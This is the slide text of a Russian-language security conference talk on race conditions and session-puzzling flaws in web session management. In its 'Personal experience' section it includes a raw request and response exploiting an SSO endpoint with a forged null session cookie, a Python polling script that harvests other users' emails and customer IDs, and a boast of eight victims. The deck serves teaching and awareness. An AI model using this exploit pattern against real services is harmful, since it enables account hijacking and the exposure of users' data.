  • 2. /whoami Alexander Antukh  Security Consultant  OWASP Full Member  Interests: mammoths and stuff
  • 3. 3 Agenda • Race conditions • Session management • Personal experience • Extras • Q&A Крысиные бега, или Взлом одной кнопкой
  • 4. 4 Race conditions Крысиные бега, или Взлом одной кнопкой Состояние гонки – ошибка проектирования многопоточной системы или приложения, при которой работа системы или приложения зависит от того, в каком порядке выполняются части кода. Оно наступает в случае, когда два или более потока в параллельной программе одновременно обращаются к одной структуре данных, причем между ними нет принудительного упорядочивания во времени и хотя бы одно из этих обращений – на запись. https://www.owasp.org/index.php/Race_Conditions
  • 5. 5 Race conditions Крысиные бега, или Взлом одной кнопкой
  • 6. 6 Race conditions Крысиные бега, или Взлом одной кнопкой int x; // Поток 1: while (!stop) { x++; …} // Поток 2: while (!stop) { if (x%2 == 0) System.out.println("x=" + x); … } x = 0  if (x%2 == 0)  x++;  System.out.println("x=" + x); x = 1
  • 7. 7 Race conditions Крысиные бега, или Взлом одной кнопкой Therac-25 "Одна и та же переменная применялась как для анализа введённых чисел, так и для определения положения поворотного круга. Поэтому при быстром вводе Therac мог иметь дело с неправильным положением поворотного круга... Что приводило к переоблучению пациента"
  • 8. 8 Race conditions Крысиные бега, или Взлом одной кнопкой Inherent latency Y N Эффективное обнаружение и эксплуатация • Транзакции БД • SOA (service-oriented architecture) • Backend-операции • . . . Трудно найти легко потерять, невозможно забыть и воспроизвести, особенно в blackbox • Менеджмент сессий • . . . • PROFIT!!!
  • 9. 9 Session management Крысиные бега, или Взлом одной кнопкой Процесс генерации и присвоения идентификатора сессии Web Server Session Memory Session ID abcd123 cbcr321 Memory Allocation 0xAA… 0xBB… Set-cookie: SID=abcd123 Cookie: SID=abcd123 Domain Cookie SID=abcd123 Первичный доступ к домену Initial Browser Access Session Identifier Generation Session Memory Association Session Identifier Storage Session Identifier Reuse
  • 10. 10 Session management Крысиные бега, или Взлом одной кнопкой • При первичном обращении браузера к серверу генерируется новый, уникальный идентификатор сессии • Обычно идентификатор сессии возвращается клиенту в заголовке ответа "Set-Cookie" • Браузер сохраняет SessID в доменнозависимых cookie, которые отправляются на сервер при каждом запросе
  • 11. 11 Session puzzling Крысиные бега, или Взлом одной кнопкой Session puzzling – уязвимости прикладного уровня, позволяющие атакующему выполнять множество различных вредоносных действий путем манипуляций с переменными сессии: – Обход аутентификации – Повышение привилегий и логин под чужим аккаунтом – Обход ограничений в многофазных процессах – Выполнение “традиционных атак” (например, инъекций) – Воздействие на адресата доставки контента – . . .
  • 12. 12 Session puzzling Крысиные бега, или Взлом одной кнопкой Принцип: приложение использует одни и те же переменные сессии более, чем для одной цели
  • 13. 13 Session puzzling Крысиные бега, или Взлом одной кнопкой Возможные причины возникновения session puzzling : – Преждевременное присвоение объектов сессии в публично доступных точках входа – Неоправданное хранение данных в памяти сессий – Одни и те же переменные сессии используются различными процессами – Использование сессионных флагов в легальном функционале приложения – Отсутствие валидации для “доверенных” данных, генерируемых на основе сессии – Неэффективные или неполные механизмы аутентификации и авторизации – Баги в сценариях приложения, которые способствуют созданию или предотвращению удаления переменных сессии
  • 14. 14 Session puzzling Крысиные бега, или Взлом одной кнопкой
  • 15. 15 Personal experience Крысиные бега, или Взлом одной кнопкой PWN
  • 16. 16 Personal experience Крысиные бега, или Взлом одной кнопкой
  • 17. 17 Personal experience Крысиные бега, или Взлом одной кнопкой GET /sso/authorized.js?callback=xxx_auth HTTP/1.1 . . . Cookie: apex__pref-language=en-GB; sso_id=null HTTP/1.1 200 OK Server: nginx Date: Mon, 16 Sep 2013 12:31:16 GMT Content-Type: application/javascript Content-Length: 120 Connection: keep-alive X-Fong-Id: c9c41e00-39ef-4bfa-bc34-09b5ae2b7704 var sso_provider = {}; sso_provider.email="victim-email@gmail.com"; sso_provider.cust_id="12345678"; xxx_auth(true);
  • 18. 18 Personal experience Крысиные бега, или Взлом одной кнопкой def check(): path = 'https://sso.xxx.com/sso/authorized.js?' cookie = 'apex__pref-language=en-GB; sso_id=null' params = urllib.urlencode({'callback':'xxx_auth'}) headers = { 'Cookie': cookie } url = path+params req = urllib2.Request(url, headers=headers) response = urllib2.urlopen(req) the_page = response.read() if the_page != 'xxx_auth(false)': return the_page return 0
  • 19. 19 Personal experience Крысиные бега, или Взлом одной кнопкой Статистика: • 1 вечер • 8 жертв • Суммарный счет: более 50000$
  • 20. 20 Extras • Race conditions • Session management • Personal experience • Extras • Q&A Крысиные бега, или Взлом одной кнопкой
  • 21. 21 Extras Крысиные бега, или Взлом одной кнопкой Moar videos, materials and TESTING FIELD: http://code.google.com/p/puzzlemall/
  • 22. 22 Q&A Крысиные бега, или Взлом одной кнопкой